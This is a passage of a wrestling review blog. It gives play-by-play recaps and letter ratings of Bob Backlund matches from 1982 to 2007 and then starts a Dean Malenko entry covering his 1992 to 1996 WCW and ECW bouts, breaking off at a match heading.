Greg gets into the ropes to avoid being covered before going back to the knee. Backlund fights out of another Figure Four attempt but can’t avoid the shots to the knee in the corner. A middle rope elbow drop misses Backlund though and the champion has an opening. They trade headbutts from their knees before Backlund hooks a belly to back suplex to put both guys down again. Valentine gets back up and puts Backlund in an airplane spin during which the referee is accidentally kicked in the head by the champion. Greg is dizzy from spinning Backlund around though and Bob falls on top of him for the pin to retain the title.

Rating: B. This was another good match as Backlund is starting to find his rhythm as champion a mere four years into his title reign. The idea here of Valentine trying to get the Figure Four time after time but never being able to hook it properly was a good story throughout the match but the fact that it didn’t play into the finish hurt things a bit. The finish however is the most important part of the match for reasons yet to be explained.

Time for a little change of scenery. From Philadelphia on February 22, 1982.

WWF World Title: Bob Backlund vs. Bob Orton Jr.

This is Orton’s return it seems. This is called the main event despite three more matches after this. Backlund outmoves him to start and trips Orton easily. Orton, a very good scientific wrestler in his own right, can’t keep up with Backlund at all and almost gets sent to the floor because he can’t even stand up when Backlund goes after him. There’s an abdominal stretch by the champ but Orton escapes.

Backlund hooks a top wristlock so Orton braces against the referee to backflip out of it. The champ trips him immediately but it was a cool visual. We get a test of strength and Backlund monkey flips him over but maintains the grip. Off to a bodyscissors as this is all Backlund so far but he’s not doing much damage. Instead he’s getting in Orton’s head which is a lot more interesting.

Backlund fakes him out on two monkey flips so Orton tries an elbow. Backlund avoids THAT and Orton is ticked off so he heads to the outside to cool off a bit. Backlund looks awesome so far. Orton tries an armdrag and is IMMEDIATELY taken into a headscissors. Backlund is so fast. I just realized they’re both named Bob so I had to go back and edit that name out. Pinfall reversal sequence results in a backslide for two for Backlund.

Orton wants a handshake and actually doesn’t sucker Backlund in. They go to the ropes and Backlund gives him a clean break but the Cowboy doesn’t, smashing Backlund with an elbow. Out to the floor and Backlund goes into the steel as Orton takes over. Backlund gets whipped over the railing and may have hurt his back. Somehow he’s not counted out so Orton stomps on him some more.

Here comes the superplex which is Orton’s finisher. Why can’t more people use basic moves like that and have them be built up as finishers? Anyway Backlund breaks that up and hits a middle rope forearm to knock Orton into the corner. Backlund hooks a suplex and pounds on Orton. Orton is in big trouble and rolls to the floor. Back inside and Backlund hits a not that great piledriver for two.

Orton comes back with a belly to back suplex and both guys are down. They slug it out from their knees and Orton gets his knee up in the corner to take Backlund down. Orton goes lucha and tries a Vader Bomb but it gets knees. Backlund knocks him to the floor which doesn’t last long as Backlund knees him in the head and dropkicks him right back to the floor. Now Orton is running which is where we get to the interesting part of Backlund which I’ll get to later. Out to the floor and Orton finds a rope from somewhere to choke Backlund with and the champ misses the count, giving Orton the win.

Rating: B. This was a very fun match as Backlund was the guy who was rather uninteresting until he was pushed to the edge when he would blow everyone away like he did here with Orton. He’s a fun guy to watch and would be even better in stuff like Texas Death Matches where his back was to the wall and he had to fight for everything he had, which he could do quite well. Fun match and by far the best of the night so far.

Back to MSG one more time on October 17, 1983.

WWF World Title: Bob Backlund vs. Masked Superstar

Masked Superstar is Ax of Demolition so there’s a chance I’ll call him Ax from time to time. They go to the mat quickly and Backlund is more than fine with that. Backlund takes him back down again with a headlock. Superstar runs him over and tries another headlock on the mat but Bob breaks that up with ease. We hear about Eddie Gilbert being injured by Superstar, which is a show I’ve actually seen.

The champion controls with a headscissors on the mat to frustrate the big guy. Now it’s an armbar as Backlund is picking him apart with whatever body part he cares to work on at the moment. For some reason Superstar keeps trying amateur stuff on Backlund and it fails more and more each time.

Backlund runs over the bigger guy and we get a botched sequence as Superstar tries what looked like a cross body but Backlund didn’t drop at first. It looked like Superstar was trying a jumping tornado DDT but since the regular version didn’t exist yet, he fell on Backlund after spinning around a bit. Really bad looking move but it’s more on Backlund than Superstar, which is rare to see from him.

They slug it out a bit and Backlund goes right back to the arm to keep control. This time it’s a hammerlock so at least he’s mixing things up somewhat. We’re almost ten minutes into this and about six of those have been arm work. Superstar knocks him to the floor to get his first I guess you would say advantage of the match. Backlund finally gets back in and a high knee to the shoulder (supposed to be the face) gets two.

Time for a chinlock as Superstar isn’t much for offense I guess. Backlund fights out of it with punches as this becomes a slugout. Flying headbutt gets two for Superstar. Another attempt at it hits the mat though and Backlund is getting all fired up. He pounds on the arm and tries the chickenwing but Superstar makes the rope very quickly. A clothesline sets up Superstar’s neckbreaker finisher but he won’t cover. Instead he takes Backlund outside and hits the neckbreaker out there which gives him the countout win.

Rating: C. This was basically a Backlund squash for the first ten minutes and then a pretty uninteresting match for the remaining five minutes. Superstar didn’t really do anything until the end with the neckbreaker, which goes to show you how devastating any move can be if it’s sold right. Why he wouldn’t go for the cover is beyond me but whatever.

Backlund would disappear from mainstream wrestling for about for about ten years, only appearing in the indies. He would return to the WWF in late 1992 for one last run. From December 21, 1992 on Prime Time.

Bob Backlund vs. Skinner

Feeling out process to start as Gorilla starts talking about the Bushwhackers. Backlund easily counters a headlock into a drop toehold to send Skinner outside. Back in and Skinner wins a test of strength before trying a rollup, only to have Backlund reverse into one of his own for the pin.

Rating: D. This was actually kind of horrible with almost no chemistry and both guys looking on completely different pages. Skinner was nothing special around this point and had long since past his peak. To be fair this was one of Backlund’s first matches in a good while so you have to cut him some slack.

Backlund would get back into the swing of things at the Royal Rumble. I don’t usually do this but he was in this one for awhile. From the 1993 Royal Rumble.

Royal Rumble

Ric Flair is #1 and Bob Backlund, going through a career resurgence at the time, is #2. Backlund drops Flair with a shoulder and does his little dance. Flair pounds him into the corner but Bob backdrops him down. Papa Shango is #3 and is dumped out by Flair in less than thirty seconds. Backlund it sent to the apron and Flair stomps away. They chop it out until Ted DiBiase, I believe half of the tag champions here, is #4.

Heenan makes fun of Backlund as the double teaming ensues, prompting Gorilla to threaten to knock Bobby out. Backlund is beaten on even more until Brian Knobs is #5. The Nasties are good guys at this point and happen to be feuding with Money Inc. Guess who he starts swinging at. Knobs almost dumps Flair but only gets him to the apron. Things slow down for a bit until Virgil is #6. The faces team up to fight the heels as not a lot is going on at this point.

DiBiase tosses out Knobs and we’re down to four in the ring again. Here’s the pretty new Jerry Lawler at #7 in a HUGE cape. I think he’s a heel here but Flair grabs him for some chops almost immediately. Flair goes to the floor through the middle ropes so Virgil goes after Lawler. Flair gets back in and Jerry immediately goes after him. Oh never mind as Heenan is praising Lawler. He’s a heel alright.

Max Moon (presumably played by Konnan) is #8. He hits a few moves and is dumped by Lawler before anyone else shows up. Lawler’s attire is really intricate here with lots of writing on it instead of the usual two color design. I kind of like it for a change. Japanese legend Genichiro Tenryu is #9 and he starts a chop-off with Flair as you would expect them to do.

Things slow down a bit until Mr. Perfect is #9 at a full sprint. Heenan: “OH NO! OH DEAR GOD NO!!!” Perfect immediately goes after Flair so Ric goes to the top. There’s the slam off the top and the Hennig Neck Snap as Heenan is having a heart attack. We hear about the loser leaves the WWF match tomorrow on Raw between the two of them, which is a very rare match for some reason.

Skinner is #11 and he does nothing before Perfect shoves Flair out to a HUGE pop. Lawler (looking very different here for some reason that I can’t place) pounds away on Hennig as we’re back down to six people in there. That’s usually the right amount so thankfully they’ve gotten through the first third without things getting too hectic. Koko B. Ware and those big green pants of his are #12. Heenan: “Koko B. Ware could go to Wrestlemania to face Bret Hart. Gorilla: “What’s wrong with that?” Heenan: “IT SHOULD BE RIC FLAIR!!!”

Perfect dropkicks Skinner out and not a lot is going on again. Here’s Samu at #13, giving us a group of Backlund, DiBiase, Tenryu, Virgil, Perfect, DiBiase, Lawler and Ware. Lawler and Perfect keep going at it in a feud that could have been AMAZING in Memphis. Berzerker is #14 as we need to get rid of some people in there. Lawler misses a charging punch on Perfect and there he goes. With Perfect distracted, DiBiase and Ware team up (you’ll NEVER hear that again) to kick him out with an assist from Lawler. Virgil was thrown out during that melee, getting us down to just six again.

The Undertaker is #15 to a BIG pop. Gorilla calls him the odds on favorite. I’m not sure I’d go that far but whatever. Berzerker goes to the floor and beats up Backlund (not eliminated) with a chair. Taker puts Samu out and no sells a lot of Tenryu’s stuff before dumping him as well. We’ve got Backlund (mostly dead on the floor), Taker, Berzerker, DiBiase and Ware in at the moment. Terry Taylor (he still had a job at this point?) is in at #16 and he’s gone in less than thirty seconds thanks to DiBiase, as is Ware.

There’s a chokeslam to DiBiase and Taker dumps him, leaving Berzerker against Taker. In one of the biggest “oh great it’s this guy” moments ever, Giant Gonzales debuts as Taker dumps Berzerker. Gonzales, a legit 7’7 tall, stares down at Taker as Damien Demento (don’t ask) is #17. Gonzales chops Taker out for an illegal elimination. In case you’re not familiar, Gonzales is a monster who makes Great Khali look like Lou Thesz. Speaking of Khali, he was literally the same character as Gonzales in a repeat of the same exact story the Undertaker was involved in in 1992. In short, both of them sucked and were really tall.

Gonzales destroys Taker for a bit as Demento still won’t get in. IRS is #18 as the Giant is still beating up Taker. It’s IRS, Backlund and Demento at the moment with Taker out cold in the corner. Tatanka is #19 as Paul Bearer uses the Urn to revive Taker. This of course is all the fans focus on, making the match in the ring look even less interesting than it already is, which is saying a lot when you think about it. Lots of choking ensues until Jerry Sags is #20.

There is NOTHING going on here and I don’t think Typhoon at #21 is going to help things at all. Fatu is #22 and my goodness I have never heard more silence for an entrance. NOTHING is going on here and Earthquake is #23. He immediately goes after….Typhoon, his partner. They have a fat man brawl for a bit until Quake dumps him out. Carlos Colon, aged 44 and called a youngster by Monsoon is #24.

Colon dumps Demento as the eliminations are keeping the crowd on life support. Quake can’t put Backlund out as Tito Santana is #25. Fatu misses a charge at Backlund and eliminates himself. We’ve got Quake, Backlund, Santana, IRS, Tatanka, Colon and Sags in there at the moment. Rick Martel is #26 who is STILL feuding with Santana. Why did they never have a big match to blow off that feud? It went on for like four years or so.

Earthquake dumps IRS and now we get to the first interesting part of the match in WAY too long: Backlund is sent to the apron and the crowd collectively gasps until he gets back in. Gorilla actually swears at how big the reaction is. Yokozuna is #27 and it’s time to clear some space. Yoko and Tatanka chop it out and there goes the guy with red hair (figure out which is which).

Colon is out and it’s time for the fat man showdown with Quake vs. Yoko. They collide a few times and no one moves so Quake pounds him into the corner. Owen Hart is #28. Quake splashes Yoko in the corner but the second attempt misses. Yoko suplexes Quake out and that more or less seals the winner. Repo Man is #29 and is immediately dropped by Yoko. Everybody gangs up on Yoko and it doesn’t work at all.

Randy Savage is #30, giving us a final group of Savage, Yokozuna, Repo Man, Owen, Martel, Santana, Sags and Backlund. They’re not even trying to hide the winner at this point. Yoko dumps Tito as Owen dropkicks Sags out. Owen skins the cat to save himself before being dumped by Yoko and possibly injuring his knee. Repo is out and we’re down to four. Backlund actually picks up Martel to sit him on top and punches him out. The place is WAY into Backlund here, so he goes after Yoko. A pair of dropkick put Yoko against the ropes but Backlund charges into the elimination, drawing a standing ovation.

So it’s Savage vs. Yoko and the beating of the small man begins. Yoko flattens him over and over again until Savage fires off a bunch of kicks out of the corner. The fans are trying to get behind Savage and there’s a top rope ax handle. One to the back gets Yoko down to one knee. Uh…why would you want to knock a guy this big DOWN in a battle royal?

Either way he superkicks Savage to knock him down again and there’s the belly to belly. The legdrop crushes Savage but the Banzai Drop misses. In one of the STUPIDEST endings ever to the Rumble, Savage hits the elbow and COVERS, getting launched over the top rope on the kickout to send Yoko to Las Vegas for the title shot.

Rating: D. This was one of the worst Rumbles of all time. The main problem here is the period after Taker, the only guy you could actually see eliminating Yoko, was eliminated. From then until the time Backlund got close to the longevity record (which he got), there’s NOTHING. It’s a bunch of lame midcarders standing around lifting each others’ legs in the air. Why would I want to see that at all? Anyway, nothing to see here and a BAD Rumble.

Backlund’s roll would continue on Raw, March 15, 1994.

Bob Backlund vs. Papa Shango

Backlund trips him up a few times as I have to listen to the horrible Rob Bartlett on commentary. He was a comedian who was given this spot for no explained reason. Shango takes over with a test of strength but Bob grabs the arm and drives an elbow into the nose. Papa comes back with a backbreaker as Rob goes into a horrible Vince impression. Papa chokes with a boot in the corner, making Backlund look shocked that someone would cheat. We hit the chinlock for a LONG stretch as Gorilla wants to beat up Heenan and Bartlett. A slam gets two on Backlund but he grabs a small package for a surprise pin.

Rating: D. That chinlock just would not end. Shango is the kind of guy that was a nice contrast to Backlund but it didn’t work here. Interesting bit of trivia: Shango was rumored to be brought back and be revealed as the reason Backlund went nuts in 1994. Thankfully this didn’t happen and was never mentioned at all but it would have been different.

Eventually Backlund would go insane and insist on being called Mr. Bob Backlund. This new insane character would get a WWF Title shot at Survivor Series 1994 against Bret Hart. The idea is someone has to throw in the towel to end the match.

WWF World Title: Bob Backlund vs. Bret Hart

Bret is defending and this is a submission match. This is a special kind of submission match though as both guys have seconds and you have to throw in the towel to end the match. Bret has British Bulldog and Backlund has Owen Hart. Backlund was making a comeback in his 40s and was a plucky face before going completely insane and claiming that he was still champion from when his reign ended in 1983 because his manager threw in the towel and he never gave up. Bret and Owen’s parents are in the crowd. Remember that.

Backlund charges at Bret but gets hipblocked down a few times. Bret headbutts him to the floor and elbowed upon return. Hart hits something like an elevated bulldog (think Orton’s hanging DDT) to take over on the mat. Off to a chinlock which evolves into a headlock. Gorilla talks about how Bulldog beat Bret for the IC Title in 92 to try to draw in some tension. Backlund tries to take him to the mat but Bret puts the headlock back on. Bob tries to get the chickenwing on but Bret suplexes him down.

Sharpshooter doesn’t work so Bret goes with a front facelock instead. Off to an abdominal stretch by the Hitman but Bob escapes and goes after the left arm. The chickenwing is escaped again (Backlund’s finisher is a Cross Face Chicken Wing) so Bob bends the arm around the ropes. Off to an armbar on the mat but Bret nips up. Backlund drills Bret to the floor but Hart gets the advantage out there.

Back in and Backlund puts the arm on as the fans all chant LET’S GO BRET. The armbar stays on for a good while (as in like five minutes) before Bret escapes with an atomic drop. He can’t get the Sharpshooter but he settles for the Figure Four. This hold stays on for awhile also and Bob gives up but Owen has to throw in the towel. Backlund tells Owen to throw it in but Owen won’t do it.

Backlund finally turns it over and Owen tells Bulldog to throw it in. Bret reverses it back but Backlund gets to a rope. Bret stays on the leg but can’t get the Sharpshooter. Backlund grabs a piledriver out of nowhere and momentum shifts again. Bob goes for the Chicken Wing but Bret gets to the ropes. We’re about twenty minutes into this and it feels like about half of that. The fans are WAY behind Bret here still too which is a good sign.

Back to the arm but Backlund misses a charge and goes shoulder first into the post. Bret blocks another piledriver attempt but hooks a sleeper, which is broken pretty fast because it’s not really a submission move. They hit head to head and both guys go down. For a guy who was about 45 at this point, Backlund has looked great. Now Bret piledrives Bob and hits a bulldog to take over.

The Five Moves Of Doom culminate with the Sharpshooter but Owen runs in to deck his brother and break up the hold. Now we get to the turning point of the match as Davey charges at Owen but misses and rams his own head into the steps. He’s out cold and there’s no one to throw in Bret’s towel. Owen panics and the distraction lets Backlund put on the full Chicken Wing even though Bret had his hand on the rope at the beginning of the hold and a rope break was used earlier in the match but I digress.

Backlund has the hold on in the middle of the ring as Owen begins to get concerned about Bret. He says he’s sorry and Backlund takes Bret down to the mat with the hold. Smith still hasn’t moved and Bret is trying to fight up. Bret gets to his feet but can’t get the rope as Backlund pulls him down and puts on the bodyscissors along with the hold. Owen starts crying which Vince declares the TRUE Owen.

Vince says you can lose if you say you quit, which goes against what we saw earlier with Backlund but it’s the WWF so you can’t count on continuity. We go split screen to look at Bret’s parents as Bret has been in this hold for over four minutes. Owen goes over to plead to his mom (not Stu because Stu is smarter than this) as Bret is in agony. Bret taps but that doesn’t mean anything yet. The hold has now been on for six straight minutes and the fans are still behind Bret. The maniacal look on Bob’s face is great.

Owen begs his mom for help again and opens the barricade to bring his parents to ringside. Stu still doesn’t seem to buy anything Owen is saying. Owen picks up Bret’s towel and says for Helen to throw it in but Stu says no way. Owen gets the fans to cheer for Helen to throw in the towel and after nine and a half minutes in the hold, Helen takes the towel from Stu and throws it in, giving Backlund the title and STUNNING the fans. Owen throws his arms in the air and celebrates, sprinting to the back in triumph, because it was a SWERVE.

Rating: A. This match definitely isn’t for everyone, but if you’re a fan of old school matches and psychology, you’re going to love this match. The whole thing is a massive story with the execution being done perfectly (or with excellence if you like plays on catchphrases). Bret and Backlund are both master technicians so the in ring stuff is as close to flawless as you’re going to get. The stuff with Owen is great too and the whole match is almost perfect. It runs about thirty five minutes though and if you’re not a fan of mat stuff and building to a big finish, you’re going to hate this.

One other thing: I’d like to point out that Davey Boy Smith has been out cold for almost eleven minutes now, hasn’t moved an inch, and is likely clinically dead yet hasn’t received any attention at all. Owen stepped over him about four times in the whole sequence.

The rematch, also a submission match, from Wrestlemania XI.

Bret Hart vs. Bob Backlund

This is an I Quit match with Roddy Piper as guest referee. They had a previous I Quit match at Survivor Series which wound up being pretty awesome as an old school style match that ran about thirty five minutes. Thanks to Owen cheating, Backlund won the title and shocked the world, so tonight is about revenge for Hart. Piper is here for no apparent reason whatsoever.

Bret pounds away to start and sends Backlund hard into the corner. An early Sharpshooter attempt is blocked so Bret drops an elbow. Bret keeps pounding on him and Piper asks if Backlund quits way too often. Another Sharpshooter attempt doesn’t work so here’s a Figure Four by Bret instead. Backlund turns it over but Bret lets go before it goes badly for him.

Off to a leg lock by Hart as the match slows down a bit. We hear about Bret hating Japanese people which was an angle that didn’t go anywhere. Backlund grabs at Bret’s face to escape before finally just kicking Hart in the face. Bob starts going after the arm but Bret avoids the chickenwing. Instead it’s a Fujiwara Armbar and the fans are getting restless. Bob pounds on the arm even more with an armbar as Piper asks Bret if he gives up for about the dozenth time.

Bret finally fights back and hits the backbreaker and middle rope elbow. The Sharpshooter doesn’t work but Bret misses a charge into the corner, going shoulder first into the post. Bob hooks the chickenwing but Bret reverses into one of his own. Backlund yells incoherently which apparently counts as a submission, giving Bret the win.

Rating: D+. I love the original version of this but the rematch didn’t work at all. For one thing, a match about making someone quit with guys of this caliber should probably be longer than ten minutes. On top of that, it was really dull stuff. This didn’t work at all and even Bret has said it’s one of his least favorite matches ever.

After retiring and actually running for Congress, Backlund would be referenced over and over again in Kevin Nash’s Paparazzi Championship Series in TNA, which is still one of the funniest things I’ve ever seen. I have no idea what it was supposed to do or mean but it cracked me up. Anyway, Backlund actually appeared and wrestled some matches, including this one at Slammiversary 2007.

Bob Backlund vs. Alex Shelley

Backlund is one of those cases where I have no idea what they were thinking when they brought him in. We hear the stories of Backlund not signing autographs unless you can recite all of the presidents in order. Backlund takes him down with ease and the fans are mostly on Shelley’s side. They slug it out a bit and Backlund takes him into a short armed scissors. Backlund uses the British Bulldog/Shawn Michaels counter (which should be called the Backlund counter but whatever).

Backlund hits a gorgeous butterfly suplex and then an atomic drop which used to be Backlund’s finisher. Sabin runs in to trip him up but gets crotched on the top. Shelley gets dropped into Sabin’s balls and a bridging O’Connor Roll beats Shelley clean. Yes, Bob Backlund just destroyed the Motor City Machineguns by himself in less than four minutes.

Rating: C-. The match was fine but this is a great example of “what were they thinking”. I mean don’t get me wrong, Backlund is a legend, but this is the year 2007. Who are they really appealing to with him? This one isn’t about me being mad about him being there, but more of genuine confusion. I don’t get this one at all.

And one more from Victory Road 2007.

Motor City Machine Guns vs. Jerry Lynn/Bob Backlund

The Guns have Nash with them. This is another of those bizarre angles that only happens in a company like TNA. For a 57 year old guy, Backlund is in great shape. Apparently Backlund was a problem for TNA as he disappeared from his hotel on the morning of the PPV. The reason: he walked the five miles from the hotel to the Impact Zone and left earlier than everyone else.

He’s an odd one, but if I can look like that at his age I’ll be happy. It’s weird seeing Sabin just getting out wrestled by Backlund. Both guys tag and we get dueling geriatric/LET’S GO JERRY chants. Shelley does all these flips and twists and Lynn just stands there and watches him until he stops so he can throw a hold on him. That was hilarious. I love when people do that.

One of my favorite moments ever was just after Joe debuted he was fighting Puma and Puma went up top for this big flip and Joe just took a step to the side and let him crash. Why over complicate things? This has been more or less ALL old guys so far. Shelley spits water in his face to take over. West declares that you can’t prance. Good to know.

Heat grabbing 101 (missed tag) allows more beatings on Lynn. Backlund storms the ring and just beats the tar out of everyone in sight. And then Nash comes in to kick Backlund in the head to set up the AS/CS Rush for the pin on Jerry. Now remember boys and girls, as good as they are, they’re not allowed to win the tag titles.

Rating: C-. Entertaining, but again I ask, so what? This put the focus on Nash more than anything else. I just do not get the point in doing this ending other than to protect the old guys and let the new guys say they won. It’s either really basic or really stupid and I’m leaning towards the second given the track record here.

Bob Backlund is one of the most interesting wrestlers in history. The guy could get on a mat with anyone but he’s also borderline insane. The problem was he didn’t have the right kind of charisma to work in the new generation, but he was perfect for the transitional period between Sammartino and Hogan. His Mr. Backlund period was a completely different side to him and while winning the title was too far, he would have been great as an Intercontinental Champion around that time. He’s very entertaining though and as skilled on the mat as almost anyone you’ll ever find.

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Wrestler of the Day – July 27: Dean Malenko

Get a blanket, because today is the Ice Man Dean Malenko.

Malenko got his start all the way back in 1979 but we’ll pick things up in 1992 when he made his debut in the mainstream. From Clash of the Champions XIX.

NWA World Tag Team Title Tournament First Round: Joe Malenko/Dean Malenko vs. Ricky Steamboat/Nikita Koloff

The Malenko Brothers are the seven seed in the tournament and represent Europe. Save for the Steiner Brothers and one other team, the seedings are almost completely arbitrary which we’ll see more of later. To give you an idea of the problem, Steamboat and Koloff, who have seven World Tag Team Title reigns between them, aren’t seeded at all (each match only has one seeded team so the other team is always unseeded).

Steamboat and Joe get things going with Ricky going for an early Boston crab. Joe is quickly in the ropes so Ricky snaps off some armdrags to put him back down. Dean comes in and takes a few armdrags into armbars. A tag brings in Nikita to a big reaction and he grabs a bearhug on Dean. Nikita drives shoulders into the ribs in the corner before catching Dean coming off the top rope in mid air.

Joe dropkicks Dean in the back to put him on top for two. Koloff no sells a snap suplex and throws Dean up in the air for a crash. Back to Ricky who gets caught in a belly to back suplex/clothesline combo for two. Dean puts his knee in Ricky’s back and pulls on his arm and leg before it’s off to Joe for a clothesline. Ricky finally escapes and makes the tag off to Nikita who cleans house with power all around, including the Russian Sickle for the pin on Joe.

Rating: C. There wasn’t anything special here but you had a balanced team against two very competent guys in the Malenkos. Koloff was back and actually having some decent matches while he was motivated around this time, including joining Sting in his war against the Dangerous Alliance. Steamboat was his usual good self and making others look good at the same time.

One of Dean’s first big breaks came in ECW where he had a big feud with Eddie Guerrero. From August 3, 1995.

TV Title: Eddie Guerrero vs. Dean Malenko

Dean is defending. Feeling out process to start with both guys fighting over a wristlock. You know this is going to be technically heavy. Both guys try to drop to the mat and we get a standoff. A headlock takes Dean to the mat as Joey talks about Chavo Jr. making his debut in Los Angeles. Eddie lands on his feet to counter a monkey flip and he takes Dean down with a nice headscissors. A hiptoss and armdrag put Dean down and they trade headscissors to give Eddie control again.

There’s the hilo from Guerrero for two as Joey compares this to Flair, Gagne and Thesz. Not exactly but Joey didn’t always make sense. An abdominal stretch has Dean in trouble but he fights out of it and grabs a belly to back suplex. There’s a brainbuster for good measure but Guerrero is up at two. Malenko’s gutbuster (not the awesome middle rope variety) has Eddie in even more trouble and having his tornado DDT countered doesn’t help.

A nice tiger bomb gets two for the champion but he gets caught in a quick victory roll for two. Eddie puts him down and hits the frog splash out of nowhere but his ribs are too hurt to cover. Dean is smart enough to lock on an abdominal stretch but Eddie is quickly in the ropes. Malenko tries a rollup but Eddie reverses into one of his own for two, only to be caught in a sunset flip which he reverses as well into a pin on Dean for the title out of nowhere.

Rating: B-. The out of nowhere part is right as this felt like they were completely out of time and had to go to the finish. I’m not a fan of that kind of an ending at all as it takes away from all the rib work and build they had going on. It’s a good match but their Hostile City Showdown 2/3 falls match is better.

Dean would make it to WCW in late 1995 and he quickly took over the Cruiserweight division. Here he is in a grudge match at Hog Wild 1996.

Dean Malenko vs. Chris Benoit

This works. Jimmy Hart is with Malenko. Now there’s an odd combination. Liz is in leather. This WORKS. Even Woman looks good. Dusty says Benoit is coming out with two devilish women and he’s talking about Woman and Liz. Wow I thought you meant the two flies on his head. So Malenko is the hired gun of the Dungeon apparently to get Benoit out of the way in the endless Dungeon vs. Horsemen feud.

I would tell you they start with some technical stuff but I figured that was obvious. That goes away soon and we’re in straight physical stuff here with Benoit being in control less than Malenko. Dusty talks about the women at ringside which makes sense as he says Dean has to watch out for them. Ok, that’s fine. Tony uses this to talk about Konnan who isn’t on the main card tonight. Benoit takes over and just beats Dean up a lot.

NOW we hit the technical stuff and the pinfall reversals that you knew were coming. Dang these guys are crisp. That was very impressive. Seriously did you expect anything else? Benoit does the short arm scissors lift that Davey Boy Smith was so famous for doing to Shawn Michaels, showing that it’s more of a leverage thing than power. Tony says these two are the wrestlers of the new century for WCW.

That’s just amazing to hear knowing what’s coming. Tony tries really hard to not insult bikers, which makes him all the more insulting. Heenan talks about how awesome the midcard is and my mind continues to be blown over how WCW managed to screw everything up with the talent they had. Malenko gets a jumping tombstone as I’m trying to figure out who is face and who is heel here.

That was the issue with the NWO: EVERYONE became at least half face. That’s fine in some cases, but for others it just didn’t work at all as there are some people that you just don’t want to cheer. It’s fine if you have people that are never associated with the NWO angle, but EVERYONE was. That can’t work and it didn’t at all. Dang these two are physical. Heenan plugs the TV shows which you likely needed to watch in order to see this show. Brilliant indeed Bobby.

Benoit hooks the Liontamer before it’s called that. Benoit busts out a dive over the ropes as the fans are DEAD. That’s in no way the problem of the wrestlers either as this has been a great match. This is the problem with having non-fans, who we now go to a wide shot of, being in attendance as they’ll cheer Hogan. I’d bet on it. Dusty talks about how tired they are and points out that he’s talking about the guys in the ring.

Dang where would I be without the Dream? Benoit hits a nice powerbomb which he should have used more often. We hit a minute to go, which means this match had a 22 minute time limit. And there’s the draw. Actually scratch that as we’re getting a 5 minute overtime. SWEET. The fans boo the heck out of this. Yeah screw this incredible match that has two guys working hard for YOUR entertainment at a show you’re not even paying to see.

I guess because they’re not 6’8 and don’t weigh 300lbs they’re not worth watching. One person shouts to get this garbage out of the ring. I didn’t know fans like that could get in the ring in the first place. Also, don’t call yourself garbage. It’s not nice. Benoit is clearly ticked off at the fans and I can’t blame him a bit. Benoit hooks the Cloverleaf on Malenko to be evil. Benoit goes for the knee and Dean is in trouble. Fans continue to be dead for this.

We have a minute to go and Benoit is dominating. Dean gets a rollup at 3 seconds left for two. WE GET ANOTHER OVERTIME BABY! We’ve gotten 25 minutes of Benoit vs. Malenko….and you can’t hear Dusty over the fans booing. I’ll spare the rant for the rating.

Benoit hits his finisher, the Dragon Suplex (Full Nelson into a suplex) for two as the Crossface didn’t exist yet for him. Malenko gets the Cloverleaf but as Benoit is almost in the ropes he shifts into an STF. And then Woman goes for Malenko and Benoit hooks a rollup to end it. Very good match.

Rating: A-. This was great stuff but the ending hurt it a lot. These two had mad chemistry together and this was no exception. Giving them nearly half an hour is fine as they looked like they had been out there for about 5 minutes at the end. It’s no wonder that they were such sought after guys by WWF. However, there was one reason why this match was hurt, which brings me to this.

This match sums up WCW’s demise in a nutshell. Everything they wound up doing wrong to just die is summed up right here. To begin with, they’re making NO gate money for this show. The fans can come and go as they please. In other words, with five thousand people here at say 20 dollars a person, that’s 100,000 dollars they’re just not getting, and that’s being conservative with it.

We’ll also ignore any potential money from parking, concessions and likely merchandise as there is no indication of anyone wearing anything other than leather out there that I can see. The reason we’re in Sturgis, South Dakota of all places and having a wrestling show at a biker rally you ask? The only answer I can find anywhere is that Eric Bischoff likes motorcycles. Seriously, THAT’S why we’re here.

If that’s not enough reason, as soon as Bischoff was out of power, this show was canceled. They came here FOUR STRAIGHT YEARS. But wait, remember that there was a line in there about these two being the wrestlers of the century for WCW. Well since these four PPVs were around the end of the century, one could assume that they would have moved closer and closer to the main events right?

Let’s see. Benoit’s position on the card over these four shows: 4th out of 8, 3rd out of 9, Off the card, 5th out of 9. Malenko: 4th out of 8, 3rd out of 9, 7th out of 9 (as a referee and not a wrestler), 3rd of 9. On the other hand, let’s compare these guys to Hulk Hogan and Kevin Nash. Nash: Next to last, next to last, next to last, main event. Hogan: Main event all four years. But remember that Hogan and Nash were DRAWS BABY!

Yeah the fans are going to pay to see them….except at this show because WCW didn’t get any ticket money here but pay no attention to that. Keep in mind that the fans will boo these two but cheer Hogan. Why do I have an image of Hogan talking to the higher ups and saying well they cheered me and booed those guys. What more proof do you need that I should be on top of the card?

The problem is these fans are all drunken bikers that likely never even watch the show. Yeah, coming from a freaking biker rally really looks cutting edge doesn’t it? I’m sure this got away completely from the wrestling fans are hicks theory. It was an amazing match, but it’s a microcosm of the things that killed the biggest wrestling company in the world.

And now, a match with his biggest WCW rival from Halloween Havoc 1996.

Cruiserweight Title: Dean Malenko vs. Rey Mysterio

These two have been trading the title back and forth a bit lately. Rey is champion here and Dean has one of his old masks that he ripped off of him. Song angles never get old. Dean jumps him early and we have Mike Tenay here on commentary for the sake of sanity. Mike says that without the mask Rey is done. Nah he won two world titles after that so I’d think Mike is wrong here.

Rey’s knees are both in one piece here so he’s flying all over the place and is the most exciting thing most of the fans have ever seen in their lives. We kind of stop things for a bit here so Rey can put the old mask that Dean brought with him back on. Ok then. These two had some great matches as they did the whole technician vs. high flier thing and it almost always worked. This would be one of those times that it worked.

Dean grounding him here is the right thing to do as it fits into the psychology of the match here. I can live with it when it makes sense I guess. There’s a lot of this in Doug Williams vs. Kendrick at the moment. I love that spinning backbreaker that Dean can snap off like that. They’re doing a nice slow build here and it’s working very well as Rey is going to make his comeback and it’ll be awesome more than likely.

Ah here it comes. He starts busting out all of his big flips and cool moves and they start to work, playing into the idea that as long as Dean keeps it on the mat he can beat Rey. They hit insane speed for a reversal sequence that is just awesome. Rey starts busting out the ranas so you know he’s serious now. Dean counters West Coast Pop into a powerbomb which looks great. A gutwrench powerbomb off the top gives Dean the belt back in a cool ending. He got a BIG face pop despite being a heel here. That’s odd, but ok then.

Rating: B. Solid opener here as the crowd is very awake now. They’ve had better ones but the psychology was here more than it usually is but this worked out well. Rey did his thing and Dean did his. You combine that with good chemistry and this is what you get. Good match and great opener.

Dean would finally lose the title to Ultimo Dragon at Starrcade 1996. Here’s his chance to get it back at Clash of the Champions XXXIV.

Cruiserweight Title: Dean Malenko vs. Ultimo Dragon

